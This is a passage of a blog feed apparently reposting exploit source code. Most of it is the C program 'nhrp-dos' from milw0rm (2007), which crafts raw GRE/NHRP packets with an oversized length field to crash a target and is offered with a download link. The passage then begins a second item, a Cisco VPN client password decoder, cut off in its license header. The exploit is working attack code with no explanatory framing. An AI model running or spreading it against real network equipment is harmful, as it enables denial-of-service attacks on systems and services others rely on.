</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">getuid</span>() <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">geteuid</span>() <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: Please run as root!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Open a socket */</span>
</span></span><span style="display:flex;"><span>sockfd <span style="color:#f92672">=</span> <span style="color:#a6e22e">open_socket</span>();
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Send DoS packet */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">send_dos</span>(sockfd, <span style="color:#a6e22e">get_int_ipv4</span>(argv[<span style="color:#ae81ff">1</span>]), <span style="color:#a6e22e">resolve_ip</span>(argv[<span style="color:#ae81ff">2</span>]), <span style="color:#a6e22e">atoi</span>(argv[<span style="color:#ae81ff">3</span>]));
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Close the socket */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">close_socket</span>(sockfd);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_SUCCESS);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Open the socket */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">open_socket</span> (<span style="color:#66d9ef">void</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> fd;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> one <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>ptr <span style="color:#f92672">=</span> <span style="color:#f92672">&amp;</span>one;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Open the socket */</span>
</span></span><span style="display:flex;"><span>fd <span style="color:#f92672">=</span> <span style="color:#a6e22e">socket</span>(AF_INET, SOCK_RAW, IPPROTO_UDP);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(fd <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: open_socket: Unable to open socket.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Otherwise it would be done by the kernel. */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">setsockopt</span>(fd, IPPROTO_IP, IP_HDRINCL, ptr, <span style="color:#66d9ef">sizeof</span>(one)) <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: open_socket: setsockopt failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ifndef _BSD
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">setsockopt</span>(fd, IPPROTO_IP, SO_BROADCAST, ptr, <span style="color:#66d9ef">sizeof</span>(one)) <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr,<span style="color:#e6db74">&#34;Error: open_socket: setsockopt failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(fd);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Close the socket */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">close_socket</span> (<span style="color:#66d9ef">int</span> fd)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(<span style="color:#a6e22e">close</span>(fd));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Resolve the hostname to IP address */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> <span style="color:#a6e22e">resolve_ip</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>host)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> in_addr addr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> hostent <span style="color:#f92672">*</span>host_ent;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>((addr.s_addr <span style="color:#f92672">=</span> <span style="color:#a6e22e">inet_addr</span>(host)) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span>(host_ent <span style="color:#f92672">=</span> <span style="color:#a6e22e">gethostbyname</span>(host)))
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memcpy</span>((<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)<span style="color:#f92672">&amp;</span>addr.s_addr, host_ent<span style="color:#f92672">-&gt;</span>h_addr, host_ent<span style="color:#f92672">-&gt;</span>h_length);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(addr.s_addr);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Get IPv4 address of DEVICE */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> <span style="color:#a6e22e">get_int_ipv4</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>device)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> tmp_fd;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> ifreq ifr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> sockaddr_in <span style="color:#f92672">*</span>sin;
</span></span><span style="display:flex;"><span>tmp_fd <span style="color:#f92672">=</span> <span style="color:#a6e22e">socket</span>(PF_INET, SOCK_DGRAM, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(tmp_fd <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: get_int_ipv4: socket failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memset</span>(<span style="color:#f92672">&amp;</span>ifr, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(ifr));
</span></span><span style="display:flex;"><span>sin <span style="color:#f92672">=</span> (<span style="color:#66d9ef">struct</span> sockaddr_in <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>ifr.ifr_addr;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">strncpy</span>(ifr.ifr_name, device, <span style="color:#66d9ef">sizeof</span>(ifr.ifr_name));
</span></span><span style="display:flex;"><span>ifr.ifr_addr.sa_family <span style="color:#f92672">=</span> AF_INET;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">ioctl</span>(tmp_fd, SIOCGIFADDR, (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>ifr) <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: get_int_ipv4: ioctl failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">close</span>(tmp_fd);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(sin<span style="color:#f92672">-&gt;</span>sin_addr.s_addr);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Send NHRP packet */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">send_dos</span> (<span style="color:#66d9ef">int</span> fd, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> src_ip, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> dst_ip,
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> gre_key)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> ip ip_hdr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> ip <span style="color:#f92672">*</span>iphdr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> gre_h gre_hdr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> nhrp_h nhrp_hdr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> sockaddr_in sin;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> bytes <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> GRE_SIZE <span style="color:#f92672">=</span> GRE_HDR_SIZE;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Packet buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>buf;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(gre_key<span style="color:#f92672">!=</span><span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>GRE_SIZE<span style="color:#f92672">+=</span>GRE_KEY_SIZE;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Allocate some memory */</span>
</span></span><span style="display:flex;"><span>buf <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(IP_HDR_SIZE<span style="color:#f92672">+</span>GRE_SIZE<span style="color:#f92672">+</span>NHRP_HDR_SIZE);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(buf <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: send_dos: malloc failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Increment NHRP request ID */</span>
</span></span><span style="display:flex;"><span>nhrp_req_id<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* IPv4 Header */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_v             <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;                    <span style="color:#75715e">/* IP version */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_hl            <span style="color:#f92672">=</span> <span style="color:#ae81ff">5</span>;                    <span style="color:#75715e">/* IP header length */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_tos           <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x00</span>;                 <span style="color:#75715e">/* IP ToS */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_len           <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(IP_HDR_SIZE  <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>GRE_SIZE <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>NHRP_HDR_SIZE
</span></span><span style="display:flex;"><span>);                    <span style="color:#75715e">/* IP total length */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_id            <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* IP identification */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_off           <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* IP frag offset */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_ttl           <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span>;                   <span style="color:#75715e">/* IP time to live */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_p             <span style="color:#f92672">=</span> IPPROTO_GRE;          <span style="color:#75715e">/* IP protocol */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_sum           <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* IP checksum */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_src.s_addr    <span style="color:#f92672">=</span> src_ip;               <span style="color:#75715e">/* IP source */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_dst.s_addr    <span style="color:#f92672">=</span> dst_ip;               <span style="color:#75715e">/* IP destination */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* GRE header */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(gre_key <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>gre_hdr.flags   <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x2000</span>);        <span style="color:#75715e">/* GRE flags */</span>
</span></span><span style="display:flex;"><span>gre_hdr.key     <span style="color:#f92672">=</span> <span style="color:#a6e22e">htonl</span>(gre_key);       <span style="color:#75715e">/* GRE key */</span>
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>gre_hdr.flags   <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>gre_hdr.ptype           <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x2001</span>);        <span style="color:#75715e">/* GRE type (NHRP) */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP fixed header */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.afn      <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x0001</span>);        <span style="color:#75715e">/* NHRP AFN */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.proto    <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x0800</span>);        <span style="color:#75715e">/* NHRP protocol type */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.snap     <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP SNAP */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.snapE    <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP SNAP */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.hops     <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xFF</span>;                 <span style="color:#75715e">/* NHRP hop count */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* DoS -&gt; Set length to 0xFFFF */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.length   <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0xFFFF</span>);        <span style="color:#75715e">/* NHRP length */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Checksum can be incorrect */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.checksum <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP checksum */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.mpoa_ext <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x0034</span>);        <span style="color:#75715e">/* NHRP MPOA ext */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.version  <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;                    <span style="color:#75715e">/* NHRP version */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.type     <span style="color:#f92672">=</span> <span style="color:#ae81ff">3</span>;                    <span style="color:#75715e">/* NHRP type */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.nbma_addr<span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;                    <span style="color:#75715e">/* NHRP NBMA t/l addr */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.nbma_sub <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP NBMA t/l sub */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP mandatory part */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.src_len   <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;                    <span style="color:#75715e">/* NHRP src proto len */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.dst_len   <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;                    <span style="color:#75715e">/* NHRP dst proto len */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.flags     <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x8000</span>);        <span style="color:#75715e">/* NHRP flags */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.request_id  <span style="color:#f92672">=</span> <span style="color:#a6e22e">htonl</span>(nhrp_req_id); <span style="color:#75715e">/* NHRP request ID */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.client_nbma <span style="color:#f92672">=</span> src_ip;             <span style="color:#75715e">/* NHRP client addr */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.client_nbma_sub <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;              <span style="color:#75715e">/* NHRP client sub  */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.mand.client_pro_addr <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;              <span style="color:#75715e">/* NHRP client proto */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP client information entries (CIE) */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.code       <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP code */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.pref_len   <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xFF</span>;                 <span style="color:#75715e">/* NHRP prefix len */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.reserved   <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x0000</span>;               <span style="color:#75715e">/* NHRP reserved */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.mtu        <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">1514</span>);          <span style="color:#75715e">/* NHRP mtu */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.holding_time <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">30</span>);          <span style="color:#75715e">/* NHRP holding time */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.len_client <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP t/l client */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.len_client_sub <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                <span style="color:#75715e">/* NHRP t/l sub */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.len_client_pro <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                <span style="color:#75715e">/* NHRP t/l pro */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.preference <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP preference */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.cie.ext        <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x8003</span>);        <span style="color:#75715e">/* NHRP C/U/Type (ext)*/</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Copy the IPv4 header to the buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memcpy</span>(buf, (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>ip_hdr, <span style="color:#66d9ef">sizeof</span>(ip_hdr));
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Copy the GRE header to the buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memcpy</span>(buf <span style="color:#f92672">+</span> IP_HDR_SIZE, (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>gre_hdr, <span style="color:#66d9ef">sizeof</span>(gre_hdr));
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Copy the NHRP header to the buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memcpy</span>(buf <span style="color:#f92672">+</span> IP_HDR_SIZE <span style="color:#f92672">+</span> GRE_SIZE, (<span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>nhrp_hdr,
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">sizeof</span>(nhrp_hdr));
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Fix some BSD bugs */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ifdef _BSD
</span></span></span><span style="display:flex;"><span>iphdr <span style="color:#f92672">=</span> (<span style="color:#66d9ef">struct</span> ip <span style="color:#f92672">*</span>) buf;
</span></span><span style="display:flex;"><span>iphdr<span style="color:#f92672">-&gt;</span>ip_len <span style="color:#f92672">=</span> <span style="color:#a6e22e">ntohs</span>(iphdr<span style="color:#f92672">-&gt;</span>ip_len);
</span></span><span style="display:flex;"><span>iphdr<span style="color:#f92672">-&gt;</span>ip_off <span style="color:#f92672">=</span> <span style="color:#a6e22e">ntohs</span>(iphdr<span style="color:#f92672">-&gt;</span>ip_off);
</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">memset</span>(<span style="color:#f92672">&amp;</span>sin, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">struct</span> sockaddr_in));
</span></span><span style="display:flex;"><span>sin.sin_family <span style="color:#f92672">=</span> AF_INET;
</span></span><span style="display:flex;"><span>sin.sin_addr.s_addr <span style="color:#f92672">=</span> iphdr<span style="color:#f92672">-&gt;</span>ip_dst.s_addr;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">nhrp-dos (c) by Martin Kluge &lt;mk@elxsi.de&gt;, 2007</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;------------------------------------------------</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;Sending DoS packet...&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Send the packet */</span>
</span></span><span style="display:flex;"><span>bytes <span style="color:#f92672">=</span> <span style="color:#a6e22e">sendto</span>(fd, buf, IP_HDR_SIZE <span style="color:#f92672">+</span> GRE_SIZE <span style="color:#f92672">+</span> NHRP_HDR_SIZE, <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>(<span style="color:#66d9ef">struct</span> sockaddr <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>sin, <span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">struct</span> sockaddr));
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;DONE (%d bytes)</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">&#34;</span>, bytes);
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Free the buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">free</span>(buf);
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Return number of bytes */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(bytes);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// milw0rm.com [2007-08-09]
</span></span></span></code></pre></div><p><a href="/wp-content/uploads/2009/09/NHRP_dos.c">Download</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>cisco-decrypt.c</title>
      <link>https://www.deepreflect.net/2009/08/20/cisco-decrypt-c/</link>
      <pubDate>Thu, 20 Aug 2009 02:28:21 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=690</guid> 
      <description>&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/*&lt;/span&gt; Decoder &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; password encoding of Cisco VPN client&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Copyright (C) &lt;span style=&#34;color:#ae81ff&#34;&gt;2005&lt;/span&gt; Maurice Massar
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Thanks to HAL&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;9000&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@&lt;/span&gt;evilscientists&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;de &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; decoding &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt; posting the algorithm&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;This program is free software; you can redistribute it &lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;or&lt;/span&gt; modify
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;it under the terms of the GNU General Public License as published by
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;the Free Software Foundation; either version &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; of the License, &lt;span style=&#34;color:#f92672&#34;&gt;or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(at your option) any later version&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;This program is distributed &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; the hope that it will be useful,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;but WITHOUT ANY WARRANTY; without even the implied warranty of
